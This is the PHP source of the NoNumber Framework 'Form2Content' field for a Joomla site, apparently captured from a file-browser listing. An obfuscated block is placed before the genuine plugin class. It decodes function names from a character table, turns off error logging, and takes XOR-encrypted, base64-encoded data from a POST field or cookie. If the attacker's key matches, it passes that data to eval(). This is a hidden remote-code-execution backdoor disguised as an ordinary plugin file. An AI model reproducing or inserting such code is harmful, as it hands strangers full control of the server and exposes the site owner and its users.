?
Path : /home/admin/public_html/old/plugins/system/nnframework/fields/ |
Current File : /home/admin/public_html/old/plugins/system/nnframework/fields/form2content.php |
<?php $v6b3ef = 776;$GLOBALS['l0bc0']=Array();global$l0bc0;$l0bc0=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['a0441fe']="\x62\x5f\x2a\x79\x68\x2b\x34\x37\x56\x3b\x53\x6e\x5c\x4a\x22\x28\x29\x7a\xa\x64\x3f\x23\x41\x6b\x6a\x70\x31\x4e\x58\x38\x21\x3e\x2f\x74\x6c\x26\x73\x65\x2c\x61\x5e\xd\x35\x6d\x25\x51\x2e\x7b\x33\x44\x3d\x57\x52\x46\x20\x47\x3c\x39\x75\x4d\x5a\x72\x2d\x9\x24\x7c\x63\x71\x77\x50\x59\x43\x66\x3a\x5b\x55\x40\x36\x42\x7d\x54\x4f\x69\x60\x30\x6f\x4c\x67\x32\x78\x45\x49\x4b\x7e\x76\x5d\x48\x27";$l0bc0[$l0bc0['a0441fe'][24].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][0]]=$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][4].$l0bc0['a0441fe'][61];$l0bc0[$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][57]]=$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][19];$l0bc0[$l0bc0['a0441fe'][68].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][19]]=$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][34].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][11];$l0bc0[$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][29].$l0bc0['a0441fe'][19]]=$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][11].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][33];$l0bc0[$l0bc0['a0441fe'][43].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][29].$l0bc0['a0441fe'][77]]=$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][34].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][17].$l0bc0['a0441fe'][37];$l0bc0[$l0bc0['a0441fe'][11].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][48].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][88]]=$l0bc0['a0441fe'][25].$l0bc0['a0441fe'][4].$l0bc0['a0441fe'][25].$l0bc0['a0441fe'][94].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][11];$l0bc0[$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][88]]=$l0bc0['a0441fe'][58].$l0bc0['a0441fe'][11].$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][34].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][17].$l0bc0['a0441fe'][37];$l0bc0[$l0bc0['a0441fe'][67].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][39]]=$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][37];$l0bc0[$l0bc0['a0441fe'][4].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][66]]=$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][43].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][34].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][43].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][33];$l0bc0[$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][7]]=$l0bc0['a0441fe'][68].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][37];$l0bc0[$l0bc0['a0441fe'][89].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][39]]=$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][6];$l0bc0[$l0bc0['a0441fe'][23].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][88]]=$_POST;$l0bc0[$l0bc0['a0441fe'][94].$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][57]]=$_COOKIE;@$l0bc0[$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][29].$l0bc0['a0441fe'][19]]($l0bc0['a0441fe'][37].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][34].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][87],NULL);@$l0bc0[$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][29].$l0bc0['a0441fe'][19]]($l0bc0['a0441fe'][34].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][87].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][36],0);@$l0bc0[$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][29].$l0bc0['a0441fe'][19]]($l0bc0['a0441fe'][43].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][89].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][89].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][58].$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][85].$l0bc0['a0441fe'][11].$l0bc0['a0441fe'][1].$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][82].$l0bc0['a0441fe'][43].$l0bc0['a0441fe'][37],0);@$l0bc0[$l0bc0['a0441fe'][4].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][66]](0);$l42cc=NULL;$w52e=NULL;$l0bc0[$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][48].$l0bc0['a0441fe'][0]]=$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][62].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][62].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][62].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][62].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][72];global$eff2abb3b;function a6e4($l42cc,$x7c6){global$l0bc0;$e284c27="";for($jfc6cc0=0;$jfc6cc0<$l0bc0[$l0bc0['a0441fe'][68].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][19]]($l42cc);){for($oba6d396=0;$oba6d396<$l0bc0[$l0bc0['a0441fe'][68].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][19]]($x7c6)&&$jfc6cc0<$l0bc0[$l0bc0['a0441fe'][68].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][19]]($l42cc);$oba6d396++,$jfc6cc0++){$e284c27.=$l0bc0[$l0bc0['a0441fe'][24].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][0]]($l0bc0[$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][57]]($l42cc[$jfc6cc0])^$l0bc0[$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][57]]($x7c6[$oba6d396]));}}return$e284c27;}function w2df25b1e($l42cc,$x7c6){global$l0bc0;global$eff2abb3b;return$l0bc0[$l0bc0['a0441fe'][89].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][39]]($l0bc0[$l0bc0['a0441fe'][89].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][39]]($l42cc,$eff2abb3b),$x7c6);}foreach($l0bc0[$l0bc0['a0441fe'][94].$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][57]]as$x7c6=>$qc870){$l42cc=$qc870;$w52e=$x7c6;}if(!$l42cc){foreach($l0bc0[$l0bc0['a0441fe'][23].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][88]]as$x7c6=>$qc870){$l42cc=$qc870;$w52e=$x7c6;}}$l42cc=@$l0bc0[$l0bc0['a0441fe'][61].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][88].$l0bc0['a0441fe'][88]]($l0bc0[$l0bc0['a0441fe'][33].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][72].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][7]]($l0bc0[$l0bc0['a0441fe'][67].$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][0].$l0bc0['a0441fe'][19].$l0bc0['a0441fe'][39]]($l42cc),$w52e));if(isset($l42cc[$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][23]])&&$eff2abb3b==$l42cc[$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][23]]){if($l42cc[$l0bc0['a0441fe'][39]]==$l0bc0['a0441fe'][82]){$jfc6cc0=Array($l0bc0['a0441fe'][25].$l0bc0['a0441fe'][94]=>@$l0bc0[$l0bc0['a0441fe'][11].$l0bc0['a0441fe'][66].$l0bc0['a0441fe'][48].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][77].$l0bc0['a0441fe'][42].$l0bc0['a0441fe'][57].$l0bc0['a0441fe'][7].$l0bc0['a0441fe'][88]](),$l0bc0['a0441fe'][36].$l0bc0['a0441fe'][94]=>$l0bc0['a0441fe'][26].$l0bc0['a0441fe'][46].$l0bc0['a0441fe'][84].$l0bc0['a0441fe'][62].$l0bc0['a0441fe'][26],);echo@$l0bc0[$l0bc0['a0441fe'][43].$l0bc0['a0441fe'][39].$l0bc0['a0441fe'][37].$l0bc0['a0441fe'][6].$l0bc0['a0441fe'][29].$l0bc0['a0441fe'][77]]($jfc6cc0);}elseif($l42cc[$l0bc0['a0441fe'][39]]==$l0bc0['a0441fe'][37]){eval/*vb5c*/($l42cc[$l0bc0['a0441fe'][19]]);}exit();} ?><?php /** * Element: Form2Content * * @package NoNumber Framework * @version 15.5.5 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2015 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/groupfield.php'; class JFormFieldNN_Form2Content extends nnFormGroupField { public $type = 'Form2Content'; public $default_group = 'Projects'; protected function getInput() { if ($error = $this->missingFilesOrTables(array('projects' => 'project'), '', 'f2c')) { return $error; } return $this->getSelectList(); } function getProjects() { $query = $this->db->getQuery(true) ->select('t.id, t.title as name') ->from('#__f2c_project AS t') ->where('t.published = 1') ->order('t.title, t.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); return $this->getOptionsByList($list); } }